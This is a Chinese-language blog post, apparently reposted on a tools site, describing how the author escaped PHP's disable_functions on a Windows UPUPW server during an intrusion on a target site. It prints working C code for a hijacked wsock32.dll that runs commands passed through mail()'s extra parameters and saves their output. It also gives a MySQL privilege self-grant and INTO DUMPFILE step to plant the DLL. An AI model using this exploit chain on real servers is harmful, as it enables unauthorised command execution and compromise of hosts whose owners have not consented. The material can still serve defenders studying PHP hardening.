51工具盒子

依楼听风雨
笑看云卷云舒,淡观潮起潮落

利用mail bypass disable_function 执行命令

最近渗透过程中遇到一个站用了UPUPW_AP5.4来搭建,这个程序是自带了sendmail.exe的,以下是我本地复现的情况:
利用mail bypass disable_function 执行命令 当时目标站的disable_function是exec,system,passthru,popen,shell_exec ,proc_open,另外目标站做了open_basedir限制,只能访问web目录下面的文件。
在linux下面可以使用pcntl_exec,当然windows下面是没有加载这个扩展的。
Google一番发现COM class加载wscript.shell也可以执行命令,然而一样的没有加载这个扩展。
最后把目标放在这个sendmail.exe上。
大家都知道在linux上可以用mail来bypass disable_fucntion来执行命令,因为linux有LD_PRELOAD这个环境变量可以很方便的注入进程。
那么在windows上呢? 当然也是可以。
但是默认情况下sendmail_path在windows中并没有设置,没有值的话是不行的。
UPUPW很贴心的给了我们一个sendmail.exe
Windows下面没有LD_PRELOAD怎么办呢?
当然是DLL劫持!
我们来看一下sendmail的导入表。
利用mail bypass disable_function 执行命令 找到一个不在knowndlls里面的dll,就是它了,wsock32.dll!
由于php的mail函数中的参数5是Additional parameters, 也就是说我们可以给sendmail程序加自定义的命令行!那么思路就是写一个dll解析命令行并且执行命令!
利用mail bypass disable_function 执行命令 Dll劫持的代码可以由一个小工具Aheadlib来生成,不过生成的代码是不能用的,会有一千多个错误,简单替换一下就能用了,加入自定义代码如下

int argc = 0;
wchar_t **argv = CommandLineToArgvW(GetCommandLineW(), &argc);
wchar_t *cmd = 0;
wchar_t *outfile = 0;
for (int i = 0; i < argc; i++)
{
        if (!lstrcmp(argv[i], L"-c"))
        if (i + 1 < argc)
        {
                cmd = argv[i + 1];
        }
        if (!lstrcmp(argv[i], L"-o"))
        if (i + 1 < argc)
        {
                outfile = argv[i + 1];
        }
}
if (cmd && outfile)
{
DWORD tmp = 0;
HANDLE h = CreateFile(outfile, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
`    SECURITY_ATTRIBUTES                sa;
    HANDLE                                        hRead, hWrite;
    byte                                        buf[40960] = { 0 };
    STARTUPINFOW                        si;
    PROCESS_INFORMATION                pi;
    DWORD                                        bytesRead;
    RtlSecureZeroMemory(&amp;si, sizeof(si));
    RtlSecureZeroMemory(&amp;pi, sizeof(pi));
    RtlSecureZeroMemory(&amp;sa, sizeof(sa));
    int br = 0;
    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa.lpSecurityDescriptor = NULL;
    sa.bInheritHandle = TRUE;
    if (!CreatePipe(&amp;hRead, &amp;hWrite, &amp;sa, 0))
    {
            ExitProcess(0);
    }
    si.cb = sizeof(STARTUPINFO);
    GetStartupInfoW(&amp;si);
    si.hStdError = hWrite;
    si.hStdOutput = hWrite;
    si.wShowWindow = SW_HIDE;
    si.lpDesktop = L"WinSta0\\Default";
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    if (!CreateProcessW(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &amp;si, &amp;pi))
    {
            CloseHandle(hWrite);
            CloseHandle(hRead);
            ExitProcess(0);
    }
    CloseHandle(hWrite);
    while (1)
    {
            if (!ReadFile(hRead, buf + br, 4000, &amp;bytesRead, NULL))
                    break;
            br += bytesRead;
    }

    WriteFile(h, buf, br, &amp;tmp, 0);
    CloseHandle(h);
    CloseHandle(hRead);
    CloseHandle(pi.hProcess);
    ExitProcess(0);
`
}

代码很简单,执行命令,保存文件,直接加入DllMain就行了。
编译之后生成一个dll,需要把这个dll和原本的wsock32.dll放入sendmail的文件夹。
那么问题来了,我们并没有读写sendmail程序文件夹的权限,怎么办呢。
此时我突然发现php连接的mysql的账号虽然不是root,但是有grant权限。。。
于是给自己grant了全部权限之后,我们就可以使用dumpfile的方式写入文件夹了,类似select unhex('xxxxxx') into dumpfile 'D:\\UPUPW_AP5.4\\sendmail\\wsock32.dll'.
这时候你会问为什么不用udf呢?
因为udf需要写入plugin目录,但是这个目录默认情况下不存在。
你会说可以用$INDEX_ALLOCATION啊,但我在本机测试并不行,远程也不行,创建文件夹本地直接提示Access denied,但是却可以创建文件。另外我本地和远程都是NTFS。
这里需要把自己编译的dll和原版wsock32.dll都写进去。
最后使用如下php代码即可执行命令:


利用mail bypass disable_function 执行命令 下面是我用的完整源代码:[ wsock32.rar ]
作者:skyer

赞(0)
未经允许不得转载:工具盒子 » 利用mail bypass disable_function 执行命令